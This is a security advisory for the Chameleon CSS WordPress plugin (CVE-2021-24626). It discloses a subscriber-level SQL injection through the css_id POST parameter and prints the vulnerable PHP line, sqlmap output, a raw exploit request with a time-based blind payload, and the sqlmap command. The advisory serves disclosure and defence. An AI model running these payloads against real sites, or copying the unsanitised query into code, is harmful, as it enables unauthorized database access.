

[Wp Plugin Chameleon Css](#)

Plugin Details

Plugin Name: [wp-plugin: chameleon-css](#)

Effectuated Version : 1.2 (and most probably lower version's if any)

Vulnerability : [Injection](#)

Minimum Level of Access Required : Subscriber

CVE Number : CVE-2021-24626

Identified by : [Shreya Pohekar](#)

[WPScan Reference URL](#)

Disclosure Timeline

- June 15, 2021: Issue Identified and Disclosed to WPScan
- June 18, 2021: Plugin Closed
- August 13, 2021: CVE Assigned
- October 7, 2021: Public Disclosure

Technical Details

The delete CSS functionality, Available to Subscriber role takes in POST parameter `css_id` and inserts it into the SQL statement without proper sanitization, validation or escaping therefore leads SQL Injection

Vulnerable_code: [ccss-admin-ajax.php#L95](#)

```
93:      $css_id = $_POST['css_id'];
94:
95:      $wpdb->query("DELETE FROM " . CCSS_TABLE_CCSS_INFO . " WHERE css_id = " . $css_id );
```

PoC Screenshot

```
[05:43:53] [INFO] testing 'MySQL ≥ 5.0 error-based - Parameter replace (FLOOR)'
[05:43:54] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)'
[05:43:54] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[05:44:05] [INFO] POST parameter 'css_id' appears to be 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[05:44:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:44:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[05:44:07] [INFO] checking if the injection point on POST parameter 'css_id' is a false positive
POST parameter 'css_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: css_id (POST)
  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: action=remove_css&css_id=1 AND (SELECT 7806 FROM (SELECT(SLEEP(5)))CvTK)
---
[05:44:23] [INFO] the back-end DBMS is MySQL
[05:44:23] [INFO] fetching banner
[05:44:23] [INFO] retrieved:
[05:44:23] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:44:39] [INFO] adjusting time delay to 1 second due to good response times
8.0.25-0ubuntu0.20.04.1
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL ≥ 5.0.12
banner: '8.0.25-0ubuntu0.20.04.1'
[05:46:34] [INFO] fetching current user
[05:46:34] [INFO] retrieved: bob@localhost
current user: 'bob@localhost'
[05:47:27] [INFO] fetching current database
[05:47:27] [INFO] retrieved: wp
current database: 'wp'
```

Exploit

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 172.28.128.50
Content-Length: 35
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.28.128.50
Referer: http://172.28.128.50/wp-admin/options-general.php?page=ccss
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_logged_in_232395f24f6cff47569f2739c21385d6=subscriber%7C1624244165%7Cxe502eTj0uh9Ez2EMcLPrjFJPGofcRA9ADRDUE9
```

```
action=remove_css&css_id=1 AND (SELECT 7806 FROM (SELECT(SLEEP(5))))CVtK)
```

SQLMap Command

```
sqlmap -r chameleon_css.req --dbms mysql --current-user --current-db -b -p css_id --batch --flush-session
```

© [Anant Shrivastava](#) 2021